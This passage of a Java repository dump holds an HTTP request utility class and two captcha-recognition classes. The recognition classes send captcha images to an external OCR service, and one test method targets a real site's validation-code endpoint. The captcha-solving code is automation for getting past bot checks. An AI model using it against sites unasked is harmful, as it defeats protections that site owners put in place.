    "content": "package com.jun.plugin.httpclient.httpclientutil.common;\n\nimport java.io.File;\nimport java.io.UnsupportedEncodingException;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Modifier;\nimport java.nio.charset.Charset;\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Map.Entry;\n\nimport org.apache.http.HttpEntity;\nimport org.apache.http.NameValuePair;\nimport org.apache.http.client.entity.UrlEncodedFormEntity;\nimport org.apache.http.entity.ByteArrayEntity;\nimport org.apache.http.entity.ContentType;\nimport org.apache.http.entity.FileEntity;\nimport org.apache.http.entity.StringEntity;\nimport org.apache.http.entity.mime.HttpMultipartMode;\nimport org.apache.http.entity.mime.MultipartEntityBuilder;\nimport org.apache.http.message.BasicHeader;\nimport org.apache.http.message.BasicNameValuePair;\nimport org.apache.http.protocol.HTTP;\nimport org.apache.log4j.Logger;\n\n/** \n * 工具类\n * \n * \t\t用于设定参数特定类型\n *\t\t启用bebug模式，打印消息\n * \n * @author arron\n * @version 1.0 \n */\npublic class Utils {\n\t\n\t//传入参数特定类型\n\tpublic static final String ENTITY_STRING=\"$ENTITY_STRING$\";\n\tpublic static final String ENTITY_JSON=\"$ENTITY_JSON$\";\n\tpublic static final String ENTITY_FILE=\"$ENTITY_FILEE$\";\n\tpublic static final String ENTITY_BYTES=\"$ENTITY_BYTES$\";\n\tpublic static final String ENTITY_INPUTSTREAM=\"$ENTITY_INPUTSTREAM$\";\n\tpublic static final String ENTITY_SERIALIZABLE=\"$ENTITY_SERIALIZABLE$\";\n\tpublic static final String ENTITY_MULTIPART=\"$ENTITY_MULTIPART$\";\n\tprivate static final List<String> SPECIAL_ENTITIY = Arrays.asList(ENTITY_STRING, ENTITY_JSON, ENTITY_BYTES, ENTITY_FILE, ENTITY_INPUTSTREAM, ENTITY_SERIALIZABLE, ENTITY_MULTIPART);\n\t\n\t/**\n\t * 是否开启debug，\n\t */\n\tprivate static boolean debug = false;\n\tprivate static final Logger logger = Logger.getLogger(\"HttpClient(异步)工具类\");\n\n\t/**\n\t * 检测url是否含有参数，如果有，则把参数加到参数列表中\n\t * \n\t * @param url\t资源地址\n\t * @param nvps\t参数列表\n\t * @param encoding\t编码\n\t * @return\t返回去掉参数的url\n\t * @throws UnsupportedEncodingException 不支持的编码异常\n\t */\n\tpublic static String checkHasParas(String url, List<NameValuePair> nvps, String encoding) throws UnsupportedEncodingException {\n\t\t// 检测url中是否存在参数\n\t\tif (url.contains(\"?\") && url.indexOf(\"?\") < url.indexOf(\"=\")) {\n\t\t\tMap<String, Object> map = buildParas(url.substring(url.indexOf(\"?\") + 1));\n\t\t\tmap2HttpEntity(nvps, map, encoding);\n\t\t\turl = url.substring(0, url.indexOf(\"?\"));\n\t\t}\n\t\treturn url;\n\t}\n\n\t/**\n\t * \n\t * 参数转换，将map中的参数，转到参数列表中\n\t * \n\t * @param nvps\t\t\t\t参数列表\n\t * @param map\t\t\t\t参数列表（map）\n\t * @param encoding\t\t\t编码\n\t * @return\t\t\t\t\t返回HttpEntity\n\t * @throws UnsupportedEncodingException  不支持的编码异常\n\t */\n\tpublic static HttpEntity map2HttpEntity(List<NameValuePair> nvps, Map<String, Object> map, String encoding) throws UnsupportedEncodingException {\n\t\tHttpEntity entity = null;\n\t\tif(map!=null && map.size()>0){\n\t\t\tboolean isSpecial = false;\n\t\t\t// 拼接参数\n\t\t\tfor (Entry<String, Object> entry : map.entrySet()) {\n\t\t\t\tif(SPECIAL_ENTITIY.contains(entry.getKey())){//判断是否在之中\n\t\t\t\t\tisSpecial = true;\n\t\t\t\t\tif(ENTITY_STRING.equals(entry.getKey())){//string\n\t\t\t\t\t\tentity = new StringEntity(String.valueOf(entry.getValue()), encoding);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}else if(ENTITY_JSON.equals(entry.getKey())){//json\n\t\t\t\t\t\tentity = new StringEntity(String.valueOf(entry.getValue()), encoding);\n\t\t\t\t\t\tString contentType = \"application/json\";\n\t\t\t\t\t\tif (encoding != null) {\n\t\t\t\t\t\t\tcontentType += \";charset=\" + encoding;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t((StringEntity) entity).setContentType(contentType);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}else if(ENTITY_BYTES.equals(entry.getKey())){//file\n\t\t\t\t\t\tentity = new ByteArrayEntity((byte[])entry.getValue());\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}else if(ENTITY_FILE.equals(entry.getKey())){//file\n\t\t\t\t\t\tif(File.class.isAssignableFrom(entry.getValue().getClass())){\n\t\t\t\t\t\t\tentity = new FileEntity((File)entry.getValue(), ContentType.APPLICATION_OCTET_STREAM);\n\t\t\t\t\t\t}else if(entry.getValue().getClass()==String.class){\n\t\t\t\t\t\t\tentity = new FileEntity(new File((String) entry.getValue()), ContentType.create(\"text/plain\", \"UTF-8\"));\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}else if(ENTITY_INPUTSTREAM.equals(entry.getKey())){//inputstream\n//\t\t\t\t\t\tentity = new InputStreamEntity();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}else if(ENTITY_SERIALIZABLE.equals(entry.getKey())){//serializeable\n//\t\t\t\t\t\tentity = new SerializableEntity()\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}else if(ENTITY_MULTIPART.equals(entry.getKey())){//MultipartEntityBuilder\n\t\t\t\t\t\tFile[] files  = null;\n\t\t\t\t\t\tif(File.class.isAssignableFrom(entry.getValue().getClass().getComponentType())){\n\t\t\t\t\t\t\tfiles=(File[])entry.getValue();\n\t\t\t\t\t\t}else if(entry.getValue().getClass().getComponentType()==String.class){\n\t\t\t\t\t\t\tString[] names = (String[]) entry.getValue();\n\t\t\t\t\t\t\tfiles = new File[names.length];\n\t\t\t\t\t\t\tfor (int i = 0; i < names.length; i++) {\n\t\t\t\t\t\t\t\tfiles[i] = new File(names[i]);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tMultipartEntityBuilder builder = MultipartEntityBuilder.create();\n\t\t\t\t\t\tbuilder.setCharset(Charset.forName(encoding));// 设置请求的编码格式\n\t\t\t\t\t\tbuilder.setMode(HttpMultipartMode.BROWSER_COMPATIBLE);// 设置浏览器兼容模式\n\t\t\t\t\t\tint count = 0;\n\t\t\t\t\t\tfor (File file : files) {\n//\t\t\t\t\t\t\t//把文件转换成流对象FileBody\n//\t\t\t\t\t\t\tFileBody fileBody = new FileBody(file);\n//\t\t\t\t\t\t\tbuilder.addPart(String.valueOf(map.get(ENTITY_MULTIPART+\".name\")) + count++, fileBody);\n\t\t\t\t\t\t\tbuilder.addBinaryBody(String.valueOf(map.get(ENTITY_MULTIPART+\".name\")) + count++,file);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tboolean forceRemoveContentTypeCharset = (Boolean)map.get(ENTITY_MULTIPART+\".rmCharset\");\n\t\t\t\t\t\tMap<String, Object> m = new HashMap<String, Object>();\n\t\t\t\t\t\tm.putAll(map);\n\t\t\t\t\t\tm.remove(ENTITY_MULTIPART);\n\t\t\t\t\t\tm.remove(ENTITY_MULTIPART+\".name\");\n\t\t\t\t\t\tm.remove(ENTITY_MULTIPART+\".rmCharset\");\n\t\t\t\t\t\tIterator<Entry<String, Object>> iterator = m.entrySet().iterator();\n\t\t\t\t\t\t// 发送的数据\n\t\t\t\t        while (iterator.hasNext()) {\n\t\t\t\t\t\t\tEntry<String, Object> e = iterator.next();\n\t\t\t\t            builder.addTextBody(e.getKey(), String.valueOf(e.getValue()), ContentType.create(\"text/plain\", encoding));\n\t\t\t\t        }\n\t\t\t\t\t\tentity = builder.build();// 生成 HTTP POST 实体\n\t\t\t\t\t\t\n\t\t\t\t\t\t//强制去除contentType中的编码设置，否则，在某些情况下会导致上传失败\n\t\t\t\t\t\tif(forceRemoveContentTypeCharset){\n\t\t\t\t\t\t\tremoveContentTypeCharset(encoding, entity);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}else {\n\t\t\t\t\t\tnvps.add(new BasicNameValuePair(entry.getKey(), String.valueOf(entry.getValue())));\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\tnvps.add(new BasicNameValuePair(entry.getKey(), String.valueOf(entry.getValue())));\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(!isSpecial) {\n\t\t\t\tentity = new UrlEncodedFormEntity(nvps, encoding);\n\t\t\t}\n\t\t}\n\t\treturn entity;\n\t}\n\n\t/**\n\t * 移除content-type中的charset\n\t * \n\t * @param encoding\t编码\n\t * @param entity\t请求参数及数据信息\n\t */\n\tprivate static void removeContentTypeCharset(String encoding, HttpEntity entity) {\n\t\ttry {\n\t\t\tClass<?> clazz = entity.getClass();\n\t\t\tField field = clazz.getDeclaredField(\"contentType\");\n\t\t\tfield.setAccessible(true); //将字段的访问权限设为true：即去除private修饰符的影响\n\t\t\tif(Modifier.isFinal(field.getModifiers())){\n\t\t\t\tField modifiersField = Field.class.getDeclaredField(\"modifiers\"); //去除final修饰符的影响，将字段设为可修改的  \n\t\t\t\tmodifiersField.setAccessible(true);  \n\t\t\t\tmodifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);  \n\t\t\t}\n\t\t\tBasicHeader o = (BasicHeader) field.get(entity);\n\t\t\tfield.set(entity, new BasicHeader(HTTP.CONTENT_TYPE, o.getValue().replace(\"; charset=\"+encoding,\"\")));\n\t\t} catch (NoSuchFieldException e) {\n\t\t\tUtils.exception(e);\n\t\t} catch (SecurityException e) {\n\t\t\tUtils.exception(e);\n\t\t} catch (IllegalArgumentException e) {\n\t\t\tUtils.exception(e);\n\t\t} catch (IllegalAccessException e) {\n\t\t\tUtils.exception(e);\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * 生成参数\n\t * 参数格式：k1=v1&amp;k2=v2\n\t * \n\t * @param paras\t\t\t\t参数列表\n\t * @return\t\t\t\t\t返回参数列表（map）\n\t */\n\tpublic static Map<String,Object> buildParas(String paras){\n\t\tString[] p = paras.split(\"&\");\n\t\tString[][] ps = new String[p.length][2];\n\t\tint pos = 0;\n\t\tfor (int i = 0; i < p.length; i++) {\n\t\t\tpos = p[i].indexOf(\"=\");\n\t\t\tps[i][0]=p[i].substring(0,pos);\n\t\t\tps[i][1]=p[i].substring(pos+1);\n\t\t\tpos = 0;\n\t\t}\n\t\treturn buildParas(ps);\n\t}\n\t\n\t/**\n\t * 生成参数\n\t * 参数类型：{{\"k1\",\"v1\"},{\"k2\",\"v2\"}}\n\t * \n\t * @param paras \t\t\t\t参数列表\n\t * @return\t\t\t\t\t\t返回参数列表（map）\n\t */\n\tpublic static Map<String,Object> buildParas(String[][] paras){\n\t\t// 创建参数队列    \n\t\tMap<String,Object> map = new HashMap<String, Object>();\n\t\tfor (String[] para: paras) {\n\t\t\tmap.put(para[0], para[1]);\n\t\t}\n\t\treturn map;\n\t}\n\t\n\t/**\n\t * 打印消息\n\t * \n\t * @param msg\t消息\n\t */\n\tpublic static void info(String msg){\n\t\tif(debug){\n\t\t\tlogger.info(msg);\n\t\t}\n\t}\n\t\n\t/**\n\t * 打印消息和异常堆栈\n\t * \n\t * @param msg\t异常消息\n\t * @param t\t\t异常\n\t */\n\tpublic static void infoException(String msg, Throwable t){\n\t\tif(debug){\n\t\t\tlogger.info(msg, t);\n\t\t}\n\t}\n\t\n\t/**\n\t * 打印错误消息\n\t * \n\t * @param msg\t异常消息\n\t */\n\tpublic static void error(String msg){\n\t\tlogger.error(msg);\n\t}\n\t\n\t/**\n\t * 打印错误消息和异常堆栈\n\t * \n\t * @param msg\t异常消息\n\t * @param t\t\t异常\n\t */\n\tpublic static void errorException(String msg, Throwable t){\n\t\tlogger.error(msg, t);\n\t}\n\t\n\t/**\n\t * 打印异常堆栈\n\t * \n\t * @param t\t\t异常\n\t */\n\tpublic static void exception(Throwable t){\n\t\tlogger.error(t);\n\t}\n\n\t/**\n\t * 开启打印日志\n\t */\n\tpublic static void debug() {\n\t\tdebug(true);\n\t}\n\t/**\n\t * 开启或关闭打印日志\n\t * @param debug\t\t是否开启debug\n\t */\n\tpublic static void debug(boolean debug) {\n\t\tUtils.debug = debug;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/httpclientutil/common/util/OCR.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.common.util;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.apache.http.Header;\nimport org.apache.http.client.HttpClient;\n\nimport com.jun.plugin.httpclient.httpclientutil.HttpClientUtil;\nimport com.jun.plugin.httpclient.httpclientutil.builder.HCB;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpConfig;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpHeader;\nimport com.jun.plugin.httpclient.httpclientutil.common.Utils;\nimport com.jun.plugin.httpclient.httpclientutil.exception.HttpProcessException;\n\n/** \n * 识别验证码\n * \n * @author arron\n * @version 1.0 \n */\npublic class OCR {\n\t\n\t/**\n\t * 接口说明：\n\t * https://github.com/AvensLab/OcrKing/blob/master/线上识别http接口说明.txt\n\t */\n\tprivate static final String apiUrl = \"http://lab.ocrking.com/ok.html\";\n\tprivate static final String apiKey = PropertiesUtil.getProperty(\"OCR.key\");\n\tprivate static HttpClient client  =null; //=HCB.custom().proxy(\"127.0.0.1\", 8888).build();\n\n\tpublic static void enableCatch(){\n\t\tclient =HCB.custom().proxy(\"127.0.0.1\", 8888).build();\n\t}\n\tpublic static void unEnableCatch(){\n\t\tclient =null;\n\t}\n\t\n\t//获取固定参数\n\tprivate static Map<String, Object> getParaMap(){\n\t\t//加载所有参数\n\t\tMap<String , Object> map = new HashMap<String, Object>();\n\t\tmap.put(\"service\", \"OcrKingForCaptcha\");\n\t\tmap.put(\"language\", \"eng\");\n\t\tmap.put(\"charset\", \"7\");//7-数字大写小写，5-数字大写字母\n\t\tmap.put(\"type\", \"http://www.unknown.com\");\n\t\tmap.put(\"apiKey\", apiKey);\n\t\treturn map;\n\t}\n\t\n\t/**\n\t * 识别本地校验码（英文：字母+大小写）\n\t * \n\t * @param filePath\t验证码地址\n\t * @return\t返回识别的验证码结果\n\t */\n\tpublic static String ocrCode(String filePath){\n\t\treturn ocrCode(filePath, 0);\n\t}\n\t/**\n\t * 识别本地校验码（英文：字母+大小写）\n\t * \n\t * @param imgFilePath\t验证码地址\n\t * @param limitCodeLen\t验证码长度（如果结果与设定长度不一致，则返回获取失败的提示）\n\t * @return\t返回识别的验证码结果\n\t */\n\tpublic static String ocrCode(String imgFilePath, int limitCodeLen){\n\t\t//读取文件\n\t\tFile f = new File(imgFilePath);\n\t\tif(!f.exists()){\n\t\t\treturn \"Error:文件不存在!\";\n\t\t}\n  \t\t\n  \t\tString html;\n\t\ttry {\n\t\t\thtml = HttpClientUtil.upload(HttpConfig.custom().client(client).url(apiUrl).files(new String[]{imgFilePath},\"ocrfile\",true).map(getParaMap()));\n\t\t\t//System.out.println(html);\n\t\t\tString[] results = StringUtil.regex(\"<Result>([^<]*)</Result>\\\\s*<Status>([^<]*)</Status>\", html);\n\t\t\tif(results.length>0){\n\t\t\t\t//System.out.println(results[0]);\n\t\t\t\tif(Boolean.parseBoolean(results[1])){\n\t\t\t\t\tif(limitCodeLen<=0 || limitCodeLen==results[0].length()){//不判断长度或者长度一致时，直接返回\n\t\t\t\t\t\treturn results[0];\n\t\t\t\t\t}else{\n\t\t\t\t\t\treturn \"Error:获取失败! 原因：识别结果长度为:\"+results[0].length()+\"（期望长度:\"+limitCodeLen+\"）\";\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\treturn \"Error:获取失败! 原因：\"+results[0];\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (HttpProcessException e) {\n\t\t\tUtils.exception(e);\n\t\t}\n\t\t\n\t\treturn \"Error:获取失败!\";\n\t}\n\t\n\t\n\t\n\t/**\n\t * 直接获取网络验证码（验证码不刷新）\n\t * \n\t * @param imgUrl\t\t\t验证码地址\n\t * @return\t返回识别的验证码结果\n\t */\n\tpublic static String ocrCode4Net(String imgUrl){\n\t\treturn ocrCode4Net(imgUrl, 0);\n\t}\n\t/**\n\t * 直接获取网络验证码（验证码不刷新）\n\t * \n\t * @param imgUrl\t\t\t验证码地址\n\t * @param limitCodeLen\t验证码长度\n\t * @return\t返回识别的验证码结果\n\t */\n\tpublic static String ocrCode4Net(String imgUrl, int limitCodeLen){\n\t\tMap<String, Object> map = getParaMap();\n\t\tmap.put(\"url\", imgUrl);\n\t\t\n\t\tHeader[] headers = HttpHeader.custom().userAgent(\"Mozilla/5.0 (Windows NT 5.1; zh-CN; rv:1.9.1.3) Gecko/20100101 Firefox/8.0\").build();\n\n\t\ttry {\n\t\t\tString html = HttpClientUtil.post(HttpConfig.custom().client(client).url(apiUrl).headers(headers).map(map));\n\t\t\t//System.out.println(html);\n\t\t\tString[] results = StringUtil.regex(\"<Result>([^<]*)</Result>\\\\s*<Status>([^<]*)</Status>\", html);\n\t\t\tif(results.length>0){\n\t\t\t\t//System.out.println(results[0]);\n\t\t\t\tif(Boolean.parseBoolean(results[1])){\n\t\t\t\t\tif(limitCodeLen<=0 || limitCodeLen==results[0].length()){//不判断长度或者长度一致时，直接返回\n\t\t\t\t\t\treturn results[0];\n\t\t\t\t\t}else{\n\t\t\t\t\t\treturn \"Error:获取失败! 原因：识别结果长度为:\"+results[0].length()+\"（期望长度:\"+limitCodeLen+\"）\";\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\treturn \"Error:获取失败! 原因：\"+results[0];\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (HttpProcessException e) {\n\t\t\tUtils.exception(e);\n\t\t}\n        \n\t\treturn \"Error:获取失败!\";\n\t}\n\t\n\t\n\t/**\n\t * 直接获取网络验证码（通过获取图片流，然后识别验证码）\n\t * \n\t * @param config\t\tHttpConfig对象（设置cookie）\n\t * @param savePath\t\t图片保存的完整路径（值为null时，不保存），如：c:/1.png\n\t * @return\t返回识别的验证码结果\n\t */\n\tpublic static String ocrCode4Net(HttpConfig config, String savePath){\n\t\treturn ocrCode4Net(config, savePath, 0);\n\t}\n\t/**\n\t * 直接获取网络验证码（通过获取图片流，然后识别验证码）\n\t * \n\t * @param config\t\tHttpConfig对象（设置cookie）\n\t * @param savePath\t\t图片保存的完整路径（值为null时，不保存），如：c:/1.png\n\t * @param limitCodeLen\t验证码长度\n\t * @return\t返回识别的验证码结果\n\t */\n\t@SuppressWarnings(\"resource\")\n\tpublic static String ocrCode4Net(HttpConfig config, String savePath, int limitCodeLen){\n\t\tif(savePath==null || savePath.equals(\"\")){//如果不保存图片，则直接使用图片地址的方式获取验证码\n\t\t\treturn ocrCode4Net(config.url(), limitCodeLen);\n\t\t}\n\t\t\n\t\t//下载图片\n\t\tByteArrayOutputStream out = new ByteArrayOutputStream();\n\t\ttry {\n\t\t\tout = (ByteArrayOutputStream) HttpClientUtil.down(config.client(client).out(out));\n\t\t\t//本地测试，可以保存一下图片，方便核验\n\t\t\tFileOutputStream fos = new FileOutputStream(savePath);\n\t\t\tfos.write(out.toByteArray());\n\t\t\t\n\t\t\treturn ocrCode(savePath, limitCodeLen);\n\t\t} catch (HttpProcessException e) {\n\t\t\tUtils.exception(e);\n\t\t} catch (IOException e) {\n\t\t\tUtils.exception(e);\n\t\t}\n\n\t\treturn \"Error:获取失败!\";\n\t}\n\t\n\tpublic static void main(String[] args) throws HttpProcessException, IOException {\n\t\tString filePath=\"C:/Users/160049/Desktop/中国.png\";\n\t\tString url = \"http://file.ocrking.net:6080/small/20161104/w4fCjnzCl8KTwphpwqnCv2bCn8Kp/66fcff8d-61b1-49d6-bbfe-7428cf7accdf_debug.png?e9gFvJmkLbmgsZNTUCCNkjfi8J0Wbpn1CZHeP98eT1kxZ0ISBDt8Ql6h6zQ79pJg\";\n\t\tString url2 = \"http://59.41.9.91/GZCX/WebUI/Content/Handler/ValidateCode.ashx?0.3271647585525703\";\n\t\tString code1 = ocrCode(filePath, 5);\n\t\tString code2 = ocrCode4Net(url,5);\n\t\tString code3 = ocrCode4Net(HttpConfig.custom().url(url2), System.getProperty(\"user.dir\")+System.getProperty(\"file.separator\")+\"123.png\", 5);\n\t\tSystem.out.println(code1);\n\t\tSystem.out.println(code2);\n\t\tSystem.out.println(code3);\n\t\tSystem.out.println(\"----\");\n\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/httpclientutil/common/util/OldOCR.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.common.util;\n\nimport java.io.BufferedInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Map.Entry;\n\nimport org.apache.http.Header;\nimport org.apache.http.client.HttpClient;\n\nimport com.jun.plugin.httpclient.httpclientutil.HttpClientUtil;\nimport com.jun.plugin.httpclient.httpclientutil.builder.HCB;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpConfig;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpHeader;\nimport com.jun.plugin.httpclient.httpclientutil.common.Utils;\nimport com.jun.plugin.httpclient.httpclientutil.exception.HttpProcessException;\n\n/** \n * 识别验证码，自拼接http报文信息\n * \n * @author arron\n * @version 1.0 \n */\npublic class OldOCR {\n\t\n\t/**\n\t * 接口说明：\n\t * https://github.com/AvensLab/OcrKing/blob/master/线上识别http接口说明.txt\n\t */\n\tprivate static final String apiUrl = \"http://lab.ocrking.com/ok.html\";\n\tprivate static final String apiKey = PropertiesUtil.getProperty(\"OCR.key\");\n\tprivate static final String boundary = \"----------------------------OcrKing_Client_Aven_s_Lab\";\n\tprivate static final String end=\"\\r\\n--\" + boundary + \"--\\r\\n\";\n\tprivate static final Header[] headers = HttpHeader.custom()\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t.accept(\"text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t.userAgent(\"Mozilla/5.0 (Windows NT 5.1; zh-CN; rv:1.9.1.3) Gecko/20100101 Firefox/8.0\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t.contentType(\"multipart/form-data; boundary=\"+boundary)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t.referer(\"http://lab.ocrking.com/?javaclient0.1)\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t.build();\n\tprivate static final Map<String, Object> map = getParaMap();\n\tprivate static HttpClient client  =null; //=HCB.custom().proxy(\"127.0.0.1\", 8888).build();\n\n\tpublic static void enableCatch(){\n\t\tclient =HCB.custom().proxy(\"127.0.0.1\", 8888).build();\n\t}\n\tpublic static void unEnableCatch(){\n\t\tclient =null;\n\t}\n\t\n\t//获取固定参数\n\tprivate static Map<String, Object> getParaMap(){\n\t\t//加载所有参数\n\t\tMap<String , Object> map = new HashMap<String, Object>();\n\t\tmap.put(\"service\", \"OcrKingForCaptcha\");\n\t\tmap.put(\"language\", \"eng\");\n\t\tmap.put(\"charset\", \"7\");//7-数字大写小写，5-数字大写字母\n\t\tmap.put(\"type\", \"http://www.unknown.com\");\n\t\tmap.put(\"apiKey\", apiKey);\n\t\treturn map;\n\t}\n\t\n\t\n\t/**\n\t * 识别本地校验码（英文：字母+大小写）\n\t * \n\t * @param filePath\t验证码地址\n\t * @return\t返回识别的验证码结果\n\t */\n\tpublic static String ocrCode(String filePath){\n\t\treturn ocrCode(filePath, 0);\n\t}\n\t/**\n\t * 识别本地校验码（英文：字母+大小写）\n\t * \n\t * @param imgFilePath\t验证码地址\n\t * @param limitCodeLen\t验证码长度（如果结果与设定长度不一致，则返回获取失败的提示）\n\t * @return\t返回识别的验证码结果\n\t */\n\t@SuppressWarnings(\"resource\")\n\tpublic static String ocrCode(String imgFilePath, int limitCodeLen){\n\t\tbyte[] data = null;\n\t\tString fileName = imgFilePath.replaceAll(\"[^/]*/|[^\\\\\\\\]*\\\\\\\\\", \"\");\n\t\t\n\t\tStringBuffer strBuf = new StringBuffer();\n\t\tfor (Entry<String, Object> entry : map.entrySet()) {\n\t\t\tstrBuf.append(\"\\r\\n\").append(\"--\").append(boundary).append(\"\\r\\n\");\n\t\t\tstrBuf.append(\"Content-Disposition: form-data; name=\\\"\" + entry.getKey() + \"\\\"\\r\\n\\r\\n\");\n\t\t\tstrBuf.append(entry.getValue());\n\t\t}\n\t\tstrBuf.append(\"\\r\\n\").append(\"--\").append(boundary).append(\"\\r\\n\");\n\t\tstrBuf.append(\"Content-Disposition: form-data; name=\\\"ocrfile\\\"; filename=\\\"\" + fileName + \"\\\"\\r\\n\");\n\t\tstrBuf.append(\"Content-Type:application/octet-stream\\r\\n\\r\\n\");\n        \n\t\t//读取文件\n\t\tFile f = new File(imgFilePath);\n\t\tif(!f.exists()){\n\t\t\treturn \"Error:文件不存在!\";\n\t\t}\n\t\t\n\t\t//内容长度=参数长度+文件长度+结尾字符串长度\n\t\tByteArrayOutputStream bos = new ByteArrayOutputStream(strBuf.length()+(int)f.length()+end.length()); \n        try {\n        \tbos.write(strBuf.toString().getBytes());//转化参数内容\n        \tBufferedInputStream in = new BufferedInputStream(new FileInputStream(f));  \n            int buf_size = 1024;\n            int len = 0;  \n            byte[] buf = new byte[buf_size];  \n            while (-1 != (len = in.read(buf, 0, buf_size))) {  \n                bos.write(buf, 0, len);  \n            }  \n            bos.write(end.getBytes());\n            data= bos.toByteArray();  \n        } catch (IOException e) {  \n            Utils.exception(e);\n        }\n        \n        Map<String , Object> m = new HashMap<String, Object>();\n  \t\tm.put(Utils.ENTITY_BYTES, data);\n  \t\t\n  \t\tString html;\n\t\ttry {\n\t\t\thtml = HttpClientUtil.post(HttpConfig.custom().client(client).url(apiUrl).headers(headers).map(m));\n\t\t\t//System.out.println(html);\n\t\t\tString[] results = StringUtil.regex(\"<Result>([^<]*)</Result>\\\\s*<Status>([^<]*)</Status>\", html);\n\t\t\tif(results.length>0){\n\t\t\t\t//System.out.println(results[0]);\n\t\t\t\tif(Boolean.parseBoolean(results[1])){\n\t\t\t\t\tif(limitCodeLen<=0 || limitCodeLen==results[0].length()){//不判断长度或者长度一致时，直接返回\n\t\t\t\t\t\treturn results[0];\n\t\t\t\t\t}else{\n\t\t\t\t\t\treturn \"Error:获取失败! 原因：识别结果长度为:\"+results[0].length()+\"（期望长度:\"+limitCodeLen+\"）\";\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\treturn \"Error:获取失败! 原因：\"+results[0];\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (HttpProcessException e) {\n\t\t\tUtils.exception(e);\n\t\t}\n        \n\t\treturn \"Error:获取失败!\";\n\t}\n\t\n\t\n\t\n\t/**\n\t * 直接获取网络验证码（验证码不刷新）\n\t * \n\t * @param imgUrl\t验证码地址\n\t * @return\t返回识别的验证码结果\n\t */\n\tpublic static String ocrCode4Net(String imgUrl){\n\t\treturn ocrCode4Net(imgUrl, 0);\n\t}\n\t/**\n\t * 直接获取网络验证码（验证码不刷新）\n\t * \n\t * @param imgUrl\t\t验证码地址\n\t * @param limitCodeLen\t验证码长度\n\t * @return\t返回识别的验证码结果\n\t */\n\tpublic static String ocrCode4Net(String imgUrl, int limitCodeLen){\n\t\tMap<String, Object> map = getParaMap();\n\t\tmap.put(\"url\", imgUrl);\n\t\t\n\t\tHeader[] headers = HttpHeader.custom().userAgent(\"Mozilla/5.0 (Windows NT 5.1; zh-CN; rv:1.9.1.3) Gecko/20100101 Firefox/8.0\").build();\n\n\t\ttry {\n\t\t\tString html = HttpClientUtil.post(HttpConfig.custom().client(client).url(apiUrl).headers(headers).map(map));\n\t\t\t//System.out.println(html);\n\t\t\tString[] results = StringUtil.regex(\"<Result>([^<]*)</Result>\\\\s*<Status>([^<]*)</Status>\", html);\n\t\t\tif(results.length>0){\n\t\t\t\t//System.out.println(results[0]);\n\t\t\t\tif(Boolean.parseBoolean(results[1])){\n\t\t\t\t\tif(limitCodeLen<=0 || limitCodeLen==results[0].length()){//不判断长度或者长度一致时，直接返回\n\t\t\t\t\t\treturn results[0];\n\t\t\t\t\t}else{\n\t\t\t\t\t\treturn \"Error:获取失败! 原因：识别结果长度为:\"+results[0].length()+\"（期望长度:\"+limitCodeLen+\"）\";\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\treturn \"Error:获取失败! 原因：\"+results[0];\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (HttpProcessException e) {\n\t\t\tUtils.exception(e);\n\t\t}\n        \n\t\treturn \"Error:获取失败!\";\n\t}\n\t\n\t\n\t/**\n\t * 直接获取网络验证码（通过获取图片流，然后识别验证码）\n\t * \n\t * @param config\t\tHttpConfig对象（设置cookie）\n\t * @param savePath\t\t图片保存的完整路径（值为null时，不保存），如：c:/1.png\n\t * @return\t返回识别的验证码结果\n\t */\n\tpublic static String ocrCode4Net(HttpConfig config, String savePath){\n\t\treturn ocrCode4Net(config, savePath, 0);\n\t}\n\t/**\n\t * 直接获取网络验证码（通过获取图片流，然后识别验证码）\n\t * \n\t * @param config\t\tHttpConfig对象（设置cookie）\n\t * @param 